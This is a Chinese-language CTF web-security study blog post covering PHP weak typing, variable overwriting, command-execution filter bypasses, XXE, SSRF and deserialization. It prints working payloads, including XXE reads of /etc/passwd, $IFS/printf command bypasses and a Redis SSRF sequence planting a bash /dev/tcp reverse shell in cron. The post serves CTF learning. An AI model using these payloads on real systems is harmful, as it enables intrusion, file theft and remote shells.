美文网首页CTFCTF网络安全实验室
CTF | Web安全 Part1:基础知识

CTF | Web安全 Part1:基础知识

作者: Ackerzy | 来源:发表于2018-08-17 00:03 被阅读20次

    这应该是一个系列的文章,主要讲述的是CTF中的Web内容。
    当然,对于作者这种CTF中Loser,这个系列的文章与其说是总结梳理,不如说是预习笔记
    最后的一年半,不知道以后还能在这些没用的东西上搞多久······

    01 CTF Web介绍

    CTF中的Web题型,就是给定一个Web网站,选手要根据题目所提示的信息,找到网站上的flag字符串。
    做题的方法类似于渗透测试,但通常不会是一个完整的渗透测试,而是用到渗透测试中的某一个或某几个环节。可能涉及信息搜集、各类漏洞发现与利用、权限提升等等。
    为了获取flag,可能需要拿到管理员权限,数据库权限,甚至获取网站所在服务器的权限。

    一、所需知识

    • 语言:PHP、Python、JavaScript...
    • 数据库:MySQL、MSSQL...
    • 服务器:Apache、Nginx...
    • Web框架:ThinkPHP、Flask...
    • 语言特性:弱类型、截断...
    • 函数特性:is_numeric、strcmp、eregi...

    1.HTTP抓包/改包

    • 首先要知道HTTP请求、响应流程,详细了解可以参考《HTTP权威指南》。(很厚的一本书,大牛们爱用这本书装B,Web领域的“九阳真经”,把这本书啃下来就是张无忌了,可是大多数人包括我在内总想练速成的“葵花宝典”)
    • 浏览器插件(Firefox):个人觉得 F12 + Hackbar就够了,而且最新的Firefox将 F12和Hackbar 集成到了一起,用起来很顺手。
    • 工具:burpsuite神器,工具是好但是小白用起来可能需要一些时间去专门学习和熟悉。 下载地址FreeBuf教程i春秋教程

    2.Web前端

    • HTML+CSS+JavaScript:前端三剑客,学这个很轻松,很容易在信安的路上越走越偏,然后变成前端开发者。
    • 编码:url编码、html编码、js编码,可以参考这篇文章
    • Cookie,缓存
    • 跨域问题CSP策略

    3.Web后端

    • PHP:官方文档
    • Python:廖雪峰Python教程、官方文档
    • PHP框架:ThinkPHP、Yii
    • Python框架:Flask、Tornado、Django
    • Go框架:beego
    • Session

    4.数据库和服务器

    • 了解常见数据库及区别:MySQL、Oracle、MongoDB
    • 数据库操作:基本语句、文件读取、写入、权限、dnslog
    • 服务器:配置主流服务器,Apache、Nginx
    • 缓存引擎:Redis、Memcached

    5.Linux

    • shell
    • Lua
    • Docker

    6.常见web漏洞

    XSS 文件包含/上传
    SQL注入 反序列化
    CSRF 未授权访问
    SSRF 目录遍历
    命令执行 业务逻辑漏洞
    XEE

    7.工具

    • sqlmap
    • Burpsuite
    • Hackbar
    • Proxy SwitchyOmega(浏览器代理插件)
    • AWVS (web漏洞扫描)
    • Kali(黑客的专属系统)

    二、题目类型

    1.筑基(入门题目)

    • 查看页面源代码,flag在注释里
    • 查看HTTP请求/响应包,flag在cookie、响应头中
    • 备份文件(.bak,.swp,.swo)泄露
    • 根据提示修改请求头(User-Agent、X-Forwarded-For)
    • JSFuck

    (1)例子

    HCTF2016 Web1:2099年的flag
    根据提示:

    only ios99 can get flag(Maybe you can easily get the flag in 2099)

    猜测可能需要改造UA。
    User-Agent修改为Mozilla/5.0 (iPhone; CPU iPhone OS 99 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13D15 Safari/601.1,这个需要对照Safari浏览器发出的UA进行修改。

    ios99

    (2)文件泄露总结

    关于泄露的好文章

    • 备份文件:.index.php.swp、.index.php.swo、.index.php.bak、.index.php~

    • 源码压缩包:www.zip、root.zip、web.zip

    • git / svn泄露:
      git泄露:www.xxx.com/.git/config,之后使用工具GitHack可以获取源码 python GitHack.py URL/.git
      svn泄露:www.xxx.com/.svn/entries,利用工具dvcs-ripper获取源码

    • 其它文件泄露:
      .idea目录泄露:(使用了IntelliJ IDEA的工程,可泄露目录结构),详情可看这里
      .DS_Store:www.xxx.com/.ds_store,工具ds_store_exp
      .pyc文件:(python编译后的字节码文件)

    (3)请求修改、重放

    这里主要用好Burpsuite、浏览器F12就够了,Firefox上的Hackbar也很方便,工具再多也没用。

    (4)JSFuck

    经过JSFuck编码后的JavaScript代码,要查看其运行结果非常简单,直接在页面中进行调用即可,或者在Chrome浏览器的开发者工具中的Console中执行即可。

    JSFuck.jpg

    2.结丹(常规题目)

    • 一个存在漏洞的网站
    • 拿到数据库上的flag(SQL注入)
    • 拿到服务器上的flag(命令执行、文件上传)
    • 拿到管理员的cookie,flag在cookie里(XXE)
    • 其它的一些漏洞利用(条件竞争、SSRF、XXE)

    (1)SQL注入

    实验吧:
    简单的sql注入
    简单的sql注入2
    简单的sql注入3

    (2)XXE

    后端获取一个xml文档

    <? php
    $xml=simplexml_load_string($_GET['xml']);
    print_r((string)$xml);
    

    读取本地文件

    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE root [<!ENTITY file SYSTEM "file:///etc/passwd">]>
    <root>&file;</root>
    

    SSRF

    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE root [<!ENTITY url SYSTEM "http://zzm.cat:8080">]>
    <root>&url;</root>
    

    XEE练习 + Writeup

    3.元婴(困难题目)

    • 漏洞综合利用(e.g. 注入+SSRF+反序列化)
    • 少见的姿势(e.g. 字符命令执行)
    • 少见的语言(Ruby、Perl)

    例子:

    HITCON2017:
    babyfirst-revenge
    babyfirst-revenge-v2

    02 CTF Web技巧

    一、PHP弱类型

    弱等于号 " == "

    false==""==0==NULL //true
    "admin1"==0 //true
    "1admin"==1 //true
    "0e123456"=="0e4456789" //true
    "0x1e240"=="123456" //true
    0=="0e4456789" //true
    [false]==[0] //true
    "0x1e240"=="123456"==123456 //true
    

    例题

    <?php 
    $flag = "xxxx";
    if ($_GET['a'] != $_GET['b'] && md5($_GET['a']) == md5($_GET['b']))
    {
      echo "Flag: ".$flag;
    }
    

    可以看一下这篇文章,从中可以得知所有"0e"加纯数字的字符串均相互弱等于,及提交a=s878926199ab=s155964671a即可

    md5("s878926199a") =>
      "0e545993274517709034328855841020"
    md5("s155964671a") =>
      "0e342768416822451524974117254469"
    

    二、PHP函数

    类型转换

    md5(['a'])===md5(['b']) //对数组MD5会返回NULL
    strcmp([], 'a')===NULL //PHP>5.3版本数组和字符串比较返回NULL
    in_array('abc', [0])===true //'abc'会被强制类型转换
    is_numeric('0e1')===true //科学计数法
    in_array('abc', [0,1,2])===true //比较时会使用若等于('abc'==0)
    

    正则表达式(ereg/eregi)

    1. 字符串对比解析,当ereg读取字符串string时,%00后面的字符串不会被解析。
      这里 a=abcd%001234,可绕过
    <?php
    if (ereg("^[a-zA-Z]+$", $_GET['a']) === FALSE) {
      echo 'You password must be alphabet';
    }
    ?>
    
    1. 如果传入数组,ereg返回NULL

    三、变量覆盖

    extract()

    extract()函数从数组中把变量导入到当前的符号表中。
    对于数组中的每个元素,键名用于变量名,键值用于变量值。
    例如传入auth=1,则会打印出"private!"

    <?php
      $auth='0';
      // 这里可以覆盖变量$auth的变量值
      extract($_GET);
      if($auth == 1){
        echo "private!";
      } else{
        echo "public!";
      }
    ?>
    

    parse_str()

    parse_str()的作用是解析字符串,并注册成变量。与parse_str()类似的函数还有 mb_parse_str(),parse_str() 将字符串解析成多个变量,如果参数 str 是 URL 传递入的查询字符串(query string),则将它解析为变量并设置到当前作用域。

    <?php
      //var.php?var=new
      $var='init';
      parse_str($_SERVER['QUERY_STRING']);
      // $var 会变成 new
      echo $var;
    ?>
    

    $$

    $$会把变量本身的 key 当做名字,value 当做变量值

    <?php
      $_CONFIG['extraSecure'] = true;
      
      // http://127.0.0.1/index.php?_CONFIG=123
      foreach(array('_GET', '_POST') as $method) {
        foreach($$method as $key=>$value) {
          // $key == _CONFIG
          // $$key == $_CONFIG
          // 这个函数会把 $_CONFIG 变量销毁
          unset($$key);
        }
      }
      if ($_CONFIG['extraSecure'] == false){
        echo 'flag{****}';
      }
    ?>
    

    练习

    实验吧 天网管理系统

    四、命令执行

    PHP中执行系统命令的函数

    system:     system("whoami");
    eval:       eval("phpinfo();");
    assert:     assert("phpinfo()");
    exec:       echo exec("whoami");
    passthru:   passthru("whoami");
    shell_exec: echo shell_exec("whoami");
    

    Bypass空格过滤

    <符号
    cat<flag
    $IFS符号
    cat${IFS}flag
    cat$IFS"flag"
    制表符
    cat flag

    命令分隔符

    | 符号

    amber@MAC:~/$    echo 1|echo 2
    2
    

    ; 符号

    amber@MAC:~/$    echo 1;echo 2
    1
    2
    

    &&符号

    amber@MAC:~/$    echo 1 && echo 2
    1
    2
    

    利用$(),``执行命令

    $(),``会将字符串当做命令执行,并返回结果

    amber@MAC:~/$    echo $(whoami)
    amber
    
    amber@MAC:~/$    echo `whoami`
    amber
    

    结合printf使用,可以绕过一些限制

    amber@MAC:~/$    $(printf$IFS"\167\150\141\155\151")
    amber
    
    amber@MAC:~/$    $(printf$IFS"\x77\x68\x6f\x6d\x69")
    amber
    

    练习

    http://web.jarvisoj.com:32798/

    五、SSRF技巧

    SSRF介绍

    服务器获取用户传入的url,并访问,如果不加过滤,可能导致内网探测、文件读取、攻击内网服务等

    <?php
      // e.g. url=http://10.10.10.1
      // e.g. url=file://etc/passwd
      // e.g. url=dict://127.0.0.1:80
      $ch = curl_init($_GET['url']);
      echo curl_exec($ch);
      curl_close($ch);
    ?>
    

    常出现在离线下载,站长工具,远程头像上传等功能中

    SSRF攻击

    SSRF文件读取,内网探测

    file:///etc/passwd
    dict://127.0.0.1:3306
    

    SSRF攻击内网服务(redis为例)
    修改dbfilename,将反弹shell的命令写入定时任务

    set 1 "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/ 127.0.0.1/2333 0>&1\n\n"
    config set dir /var/spool/cron
    config set dbfilename root
    save
    

    SSRF防御

    过滤传入url的host(有没有问题?)

    <?php
        function isLocal($ip){
            $long=ip2long($ip);
            $data=array(24=>'10.255.255.255',20=>'172.31.255.255',16=>'192.168.255.255');
            foreach ($data as $k => $v) {
                if ($long >> $k === ip2long($v)>>$k) {
                    return true;
                }
            }
        }
        $url = $_GET['url'];
        $host = parse_url($url)['host'];
        if (isLocal(gethostbyname($host))) die();
        $ch = curl_init($url);
        echo curl_exec($ch);
        cuel_close($ch);
    ?>
    

    parse_url和curl解析差异

    SSRF.png

    IP双重绑定:如果同一个域名绑定了两个IP,那么PHP中的gethostname会随机返回一个。
    但是curl在访问这种域名的时候,由于绑定的是两个IP,curl会尝试访问每一个IP,最终返回有效的那个

    六、反序列化

    介绍

    序列化

    数组序列化

    原数组:['a'=>'str', 'b'=>1, 'c'=>false]
    序列化后:a:3:{s:1:"a";s:3:"str";s:1:"b";i:1;s:1:"b";i:1;s:1:"c";b:0;}

    对象序列化

    对象序列化

    对于PHP中的类C,属性data="abc"会被序列化为不同的形式(%00代表空字符)
    Public属性:s:4:"data";s:3:"abc"
    Private属性:s:7"%00C%00data";s:3:"abc"
    Protected属性:s:7"%00*%00data";s:3:"abc"

    其它数据类型

    String(字符串):s
    Integer(整型):i
    Bool(Bool型):b
    NULL:N
    Array(数组):a
    Object(对象):o

    魔术方法

    __construct方法在对象诞生时调用,一般用来为成员属性赋初值

    function __construct($name="amy", $sex="male", $age=20)
    {
      $this->name=$name;
      $this->sex=$sex;
      $this->age=$age;
    }
    

    __destruct方法在对象销毁时调用

    class C{
      public function __destruct() {
        echo "The object is destructed.";
      }
    }
    

    __toString方法在打印对象时调用

    class C{
      public function __toString()
      {
        return "This is C";
      }
    }
    

    __sleep方法在对象序列化时调用

    class C{
      public function __sleep() {
        echo "serialized";
      }
    }
    $c = new C;
    serialize($c);
    

    __wakeup方法在对象反序列化时调用

    class C{
      public function __wakeup() {
        echo "unserialized";
      }
    }
    unserialize('0:1:"c":0:{}');
    

    __call方法在试图调用一个无法访问(不存在、无权限)的方法时调用

    class C{
      public function __call($name, $arguments) {
        echo "called";
      }
    }
    $c = new C;
    $c->a();
    

    PHP中可以利用的内置类

    SoapClient(__call方法调用时导致SSRF)

    $a = new SoapClient(null,array('uri'=>'http://xxx.cat8080',
    'location'=>'http://xxx.cat:8080'));
    $b = serialize($a);
    $c = unserialize($b);
    $c->a();
    

    Directorylterator(__construct方法调用时导致列目录)

    $c = new DirectoryIterator(".");
    foreach($c as $cc) {
      echo $cc,"</br>";
    }
    

    练习

    http://web.jarvisoj.com:32784/
    Writeup

    相关文章

      网友评论

      本文标题:CTF | Web安全 Part1:基础知识

      本文链接:https://www.haomeiwen.com/subject/lkgsbftx.html